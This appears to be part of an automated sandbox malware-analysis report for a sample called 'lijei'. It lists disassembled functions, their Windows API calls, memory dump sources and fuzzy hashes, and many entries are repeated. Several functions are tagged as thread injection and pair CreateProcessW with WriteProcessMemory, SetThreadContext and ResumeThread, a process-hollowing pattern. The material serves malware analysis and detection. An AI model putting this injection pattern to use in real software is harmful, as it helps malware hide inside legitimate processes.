                                                              • Instruction ID: e98bf432b82db67509c445a8b741deb275fc95953d3edd4eba91306424a87961
                                                              • Opcode Fuzzy Hash: 023d87f84f86d4a395a9ffa837f9da4944fee112babbb09b0464202a2f31cba3
                                                              • Instruction Fuzzy Hash: 396158A254E7C05FD3079B749C207697F71AF27204F1A46DFE4868F1E3E6694A08C366
                                                              Function 01600F52 Relevance: 5.5, APIs: 3, Instructions: 959threadinjectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600F69
                                                              • Wow64SetThreadContext.KERNEL32(?), ref: 01600FB4
                                                              • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000), ref: 01600FD4
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015B5000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                              • String ID:
                                                              • API String ID: 2794113056-0
                                                              • Opcode ID: 023d87f84f86d4a395a9ffa837f9da4944fee112babbb09b0464202a2f31cba3
                                                              • Instruction ID: e98bf432b82db67509c445a8b741deb275fc95953d3edd4eba91306424a87961
                                                              • Opcode Fuzzy Hash: 023d87f84f86d4a395a9ffa837f9da4944fee112babbb09b0464202a2f31cba3
                                                              • Instruction Fuzzy Hash: 396158A254E7C05FD3079B749C207697F71AF27204F1A46DFE4868F1E3E6694A08C366
                                                              Function 008C016B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 008C09F8
                                                                • Part of subcall function 008C3634: RaiseException.KERNEL32(?,?,?,008C0A1A,?,00000000,?,?,?,?,?,?,008C0A1A,00000000,00969758,00000000), ref: 008C3694
                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 008C0A15
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Exception@8Throw$ExceptionRaise
                                                              • String ID: Unknown exception
                                                              • API String ID: 3476068407-410509341
                                                              • Opcode ID: 89921b3da6f3edfd98a843650e5ff800e280910c77ecd68836e4b5a3c158a473
                                                              • Instruction ID: fb07c1adc7e2d5b9c33ece8d6ad7f5c349e76436198f6a331f566bd649e3e713
                                                              • Opcode Fuzzy Hash: 89921b3da6f3edfd98a843650e5ff800e280910c77ecd68836e4b5a3c158a473
                                                              • Instruction Fuzzy Hash: 4AF0443490030DF78F00BA6CD846F9DBB7CFA10794B504229B914D6592EB70EA5A9981
                                                              Function 008FE59A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: LocalTime
                                                              • String ID: %.3d$X64
                                                              • API String ID: 481472006-1077770165
                                                              • Opcode ID: 0ef061c59cc1088742f37a79d7d4f14630277b8e6747bd8201624ae894a566d8
                                                              • Instruction ID: 818cb25635bca395810aca7254e1a6b7fc9ab15f198ba65b1949cfecd99a60c3
                                                              • Opcode Fuzzy Hash: 0ef061c59cc1088742f37a79d7d4f14630277b8e6747bd8201624ae894a566d8
                                                              • Instruction Fuzzy Hash: 8AD062A1C0511DD9CF909AF49D49CFEB37CF72C708F504552F606D5151E6389548EB21
                                                              Function 009288B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00928C52
                                                              • TerminateProcess.KERNEL32(00000000), ref: 00928C59
                                                              • FreeLibrary.KERNEL32(?,?,?,?), ref: 00928E3A
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Process$CurrentFreeLibraryTerminate
                                                              • String ID:
                                                              • API String ID: 146820519-0
                                                              • Opcode ID: 046d56f558dff1a085d76038e9800e13177d7f075bbc33c216995e90c872d2b4
                                                              • Instruction ID: f1c8a7fbae057a76e33087de2dd6cca64f9c66cec94c110d597a3b5cb276e20e
                                                              • Opcode Fuzzy Hash: 046d56f558dff1a085d76038e9800e13177d7f075bbc33c216995e90c872d2b4
                                                              • Instruction Fuzzy Hash: 0D127871A083509FD724DF28D484B2ABBE5FF89314F14895DE8898B296CB30ED45CF92
                                                              Function 008A2735 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A3205: MapVirtualKeyW.USER32(0000005B,00000000), ref: 008A3236
                                                                • Part of subcall function 008A3205: MapVirtualKeyW.USER32(00000010,00000000), ref: 008A323E
                                                                • Part of subcall function 008A3205: MapVirtualKeyW.USER32(000000A0,00000000), ref: 008A3249
                                                                • Part of subcall function 008A3205: MapVirtualKeyW.USER32(000000A1,00000000), ref: 008A3254
                                                                • Part of subcall function 008A3205: MapVirtualKeyW.USER32(00000011,00000000), ref: 008A325C
                                                                • Part of subcall function 008A3205: MapVirtualKeyW.USER32(00000012,00000000), ref: 008A3264
                                                                • Part of subcall function 008A318C: RegisterWindowMessageW.USER32(00000004,?,008A2906), ref: 008A31E4
                                                              • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 008A29AC
                                                              • OleInitialize.OLE32 ref: 008A29CA
                                                              • CloseHandle.KERNEL32(00000000,00000000), ref: 008E39E7
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                              • String ID:
                                                              • API String ID: 1986988660-0
                                                              • Opcode ID: 0aa22898d0f6c86d9e33b73e1bf7e23817c83fcde444989dfdf48ef22d5d1b74
                                                              • Instruction ID: cd4d91bfb51ae3b78709101c1b8cdbee5b7e9ade37e3446ad7b3e4dd60afa6d3
                                                              • Opcode Fuzzy Hash: 0aa22898d0f6c86d9e33b73e1bf7e23817c83fcde444989dfdf48ef22d5d1b74
                                                              • Instruction Fuzzy Hash: B5719DB293A3008E9398EF7DAD696553BE1FB89304B14812AE01CD7372EB3044C5EF56
                                                              Function 008A6BFA Relevance: 4.6, APIs: 3, Instructions: 103COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000001,?,00000000), ref: 008A6CA1
                                                              • SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001), ref: 008A6CB1
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FilePointer
                                                              • String ID:
                                                              • API String ID: 973152223-0
                                                              • Opcode ID: 4a21cf1986bb18c998a1d911e047e17a37e287043aaddebdeea3df78fa91dd49
                                                              • Instruction ID: a9da38676281567d19937932f491d6e3029d505f5447becd418d2208ee2b60d5
                                                              • Opcode Fuzzy Hash: 4a21cf1986bb18c998a1d911e047e17a37e287043aaddebdeea3df78fa91dd49
                                                              • Instruction Fuzzy Hash: 07318D71A00609FFEB14CF68C980B99B7B4FB04324F188629E914D7644E771FEA4CB90
                                                              Function 008BFCBB Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A5F59: Shell_NotifyIconW.SHELL32(00000001,?), ref: 008A6049
                                                              • KillTimer.USER32(?,00000001,?,?), ref: 008BFD44
                                                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 008BFD53
                                                              • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 008FFDD3
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: IconNotifyShell_Timer$Kill
                                                              • String ID:
                                                              • API String ID: 3500052701-0
                                                              • Opcode ID: 177ce4fd98cc81a84ac87982e749287977ea740094ff662ce2ee68e7832981f6
                                                              • Instruction ID: 91bd82f82d134e31f5de964c3d8fae51f621eaf12e07c12c581d71c8d0020a53
                                                              • Opcode Fuzzy Hash: 177ce4fd98cc81a84ac87982e749287977ea740094ff662ce2ee68e7832981f6
                                                              • Instruction Fuzzy Hash: 8831B471904358AFEB229F348855BE6BBECEF02708F0404AEE7DAD7242C7745A84CB51
                                                              Function 008D8A3E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(00000000,00000000,?,?,008D895C,?,00969CE8,0000000C), ref: 008D8A94
                                                              • GetLastError.KERNEL32(?,008D895C,?,00969CE8,0000000C), ref: 008D8A9E
                                                              • __dosmaperr.LIBCMT ref: 008D8AC9
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseErrorHandleLast__dosmaperr
                                                              • String ID:
                                                              • API String ID: 2583163307-0
                                                              • Opcode ID: a8db603c7ad683357580a199183c55c10de6c0eba1eef642554ba1b28e8ee2e8
                                                              • Instruction ID: 6ba47916114e70681eae44c521327b18ea1e2921befdcfe85a45e0095cde9721
                                                              • Opcode Fuzzy Hash: a8db603c7ad683357580a199183c55c10de6c0eba1eef642554ba1b28e8ee2e8
                                                              • Instruction Fuzzy Hash: 21014C32605570D6D21423386885B7E2746FB81738F39035BE808CB3D2DE20CC845653
                                                              Function 008D971B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,008D97CA,FF8BC369,00000000,00000002,00000000), ref: 008D9754
                                                              • GetLastError.KERNEL32(?,008D97CA,FF8BC369,00000000,00000002,00000000,?,008D5EF1,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,008C6F61), ref: 008D975E
                                                              • __dosmaperr.LIBCMT ref: 008D9765
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ErrorFileLastPointer__dosmaperr
                                                              • String ID:
                                                              • API String ID: 2336955059-0
                                                              • Opcode ID: 2110350d3243f8b80d96880ae7b2afb8294087b6e30b049ab7d5da5e8488085f
                                                              • Instruction ID: f66bfc8466a143bd0e40859e33d60e77717f7f0376eae5773f7e80d7998b6147
                                                              • Opcode Fuzzy Hash: 2110350d3243f8b80d96880ae7b2afb8294087b6e30b049ab7d5da5e8488085f
                                                              • Instruction Fuzzy Hash: 83014733634118ABCB059FE9EC05CAE3B2AFF85330B24030AF855CB291EA70DD419B91
                                                              Function 01600F52 Relevance: 4.5, APIs: 3, Instructions: 48threadinjectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600F69
                                                              • Wow64SetThreadContext.KERNEL32(?), ref: 01600FB4
                                                              • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000), ref: 01600FD4
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FE000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                              • String ID:
                                                              • API String ID: 2794113056-0
                                                              • Opcode ID: 3728f7cd63434bb52e9e96fff1bf2563292c45fe0698bd90308d81fecf907cea
                                                              • Instruction ID: 9adf6145f8707341aa1fd9ee98f893bdbf9102c748155db1ef8e98f7b9d16fc5
                                                              • Opcode Fuzzy Hash: 3728f7cd63434bb52e9e96fff1bf2563292c45fe0698bd90308d81fecf907cea
                                                              • Instruction Fuzzy Hash: 060184712842816FE70ABBB8CC41F2E3726BF66344F20419CB9154F2E2EAB29911D755
                                                              Function 01600F52 Relevance: 4.5, APIs: 3, Instructions: 48threadinjectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600F69
                                                              • Wow64SetThreadContext.KERNEL32(?), ref: 01600FB4
                                                              • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000), ref: 01600FD4
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FF000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                              • String ID:
                                                              • API String ID: 2794113056-0
                                                              • Opcode ID: 3728f7cd63434bb52e9e96fff1bf2563292c45fe0698bd90308d81fecf907cea
                                                              • Instruction ID: 9adf6145f8707341aa1fd9ee98f893bdbf9102c748155db1ef8e98f7b9d16fc5
                                                              • Opcode Fuzzy Hash: 3728f7cd63434bb52e9e96fff1bf2563292c45fe0698bd90308d81fecf907cea
                                                              • Instruction Fuzzy Hash: 060184712842816FE70ABBB8CC41F2E3726BF66344F20419CB9154F2E2EAB29911D755
                                                              Function 008AF1E8 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • TranslateMessage.USER32(?), ref: 008AF22B
                                                              • DispatchMessageW.USER32(?), ref: 008AF239
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008AF24F
                                                              • Sleep.KERNELBASE(0000000A), ref: 008AF261
                                                              • TranslateAcceleratorW.USER32(?,?,?), ref: 008F327C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Message$Translate$AcceleratorDispatchPeekSleep
                                                              • String ID:
                                                              • API String ID: 3288985973-0
                                                              • Opcode ID: 707f13e9b6baf14b72b967105db0384637f57c0ea73a3e3c11e04d16e2aa20a8
                                                              • Instruction ID: e967e8b9111557c022ed57ca096fefb710b152cee124f9a315741864a7d6f891
                                                              • Opcode Fuzzy Hash: 707f13e9b6baf14b72b967105db0384637f57c0ea73a3e3c11e04d16e2aa20a8
                                                              • Instruction Fuzzy Hash: 9DF03A715193459BF6348BA09C49FEA73ACFB85301F004929E71AC30C0DB3095489B12
                                                              Function 008B2AD0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __Init_thread_footer.LIBCMT ref: 008B2FB6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Init_thread_footer
                                                              • String ID: CALL
                                                              • API String ID: 1385522511-4196123274
                                                              • Opcode ID: d9af1cfdf60fd96bedc5a44781086fab41d193092a9297b46bc54fd3a62702de
                                                              • Instruction ID: 340efa185706f8dc46b4e066fc48fe3d134a47ad14bae1ff1fb2e4cabe22b7e3
                                                              • Opcode Fuzzy Hash: d9af1cfdf60fd96bedc5a44781086fab41d193092a9297b46bc54fd3a62702de
                                                              • Instruction Fuzzy Hash: 0B2255706082059FD724DF28C890A6ABBF1FF89314F18895DF59ACB3A2D771E945CB42
                                                              Function 008A3A1C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetOpenFileNameW.COMDLG32(?), ref: 008E4115
                                                                • Part of subcall function 008A557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008A5558,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 008A559E
                                                                • Part of subcall function 008A39DE: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008A39FD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Name$Path$FileFullLongOpen
                                                              • String ID: X
                                                              • API String ID: 779396738-3081909835
                                                              • Opcode ID: 5ade43c309f20d2c5cf6f9135e639cfd6e2fc2d3f0095692331b302b645ac108
                                                              • Instruction ID: feb90b2509e3f9840ead96d8372dfb4e7baf7d9c948600d9cdcb0b5b00cfa214
                                                              • Opcode Fuzzy Hash: 5ade43c309f20d2c5cf6f9135e639cfd6e2fc2d3f0095692331b302b645ac108
                                                              • Instruction Fuzzy Hash: E321C671A142989BDF11DF98C805BEE7BFDEF4A704F004019E505E7241DBF49A898FA2
                                                              Function 01600CBB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,16B3FE88,00000000,?,?,000000F8,00000022), ref: 01600D2F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 0156F000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateProcess
                                                              • String ID: j
                                                              • API String ID: 963392458-2137352139
                                                              • Opcode ID: da6542d60e5eafccadc44f0ff089c54c5de26207eecd6e5228dc3936ce2d47ec
                                                              • Instruction ID: fc51c255b1b9e8cf823651df439429a75d77f02bab09ffc93369450133f525f4
                                                              • Opcode Fuzzy Hash: da6542d60e5eafccadc44f0ff089c54c5de26207eecd6e5228dc3936ce2d47ec
                                                              • Instruction Fuzzy Hash: 921184313843817BE229B7B9CC46F5E3762AF92714F24068C76616F1E1DDF1B411E619
                                                              Function 01600CBB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,16B3FE88,00000000,?,?,000000F8,00000022), ref: 01600D2F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FE000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateProcess
                                                              • String ID: j
                                                              • API String ID: 963392458-2137352139
                                                              • Opcode ID: 64d9eb8b2f7d351b5cfa57a64e114380b3dc61cdcbe615f654f72eab0471deac
                                                              • Instruction ID: fc51c255b1b9e8cf823651df439429a75d77f02bab09ffc93369450133f525f4
                                                              • Opcode Fuzzy Hash: 64d9eb8b2f7d351b5cfa57a64e114380b3dc61cdcbe615f654f72eab0471deac
                                                              • Instruction Fuzzy Hash: 921184313843817BE229B7B9CC46F5E3762AF92714F24068C76616F1E1DDF1B411E619
                                                              Function 01600CBB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,16B3FE88,00000000,?,?,000000F8,00000022), ref: 01600D2F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015B5000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateProcess
                                                              • String ID: j
                                                              • API String ID: 963392458-2137352139
                                                              • Opcode ID: da6542d60e5eafccadc44f0ff089c54c5de26207eecd6e5228dc3936ce2d47ec
                                                              • Instruction ID: fc51c255b1b9e8cf823651df439429a75d77f02bab09ffc93369450133f525f4
                                                              • Opcode Fuzzy Hash: da6542d60e5eafccadc44f0ff089c54c5de26207eecd6e5228dc3936ce2d47ec
                                                              • Instruction Fuzzy Hash: 921184313843817BE229B7B9CC46F5E3762AF92714F24068C76616F1E1DDF1B411E619
                                                              Function 01600CBB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,16B3FE88,00000000,?,?,000000F8,00000022), ref: 01600D2F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FF000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateProcess
                                                              • String ID: j
                                                              • API String ID: 963392458-2137352139
                                                              • Opcode ID: 64d9eb8b2f7d351b5cfa57a64e114380b3dc61cdcbe615f654f72eab0471deac
                                                              • Instruction ID: fc51c255b1b9e8cf823651df439429a75d77f02bab09ffc93369450133f525f4
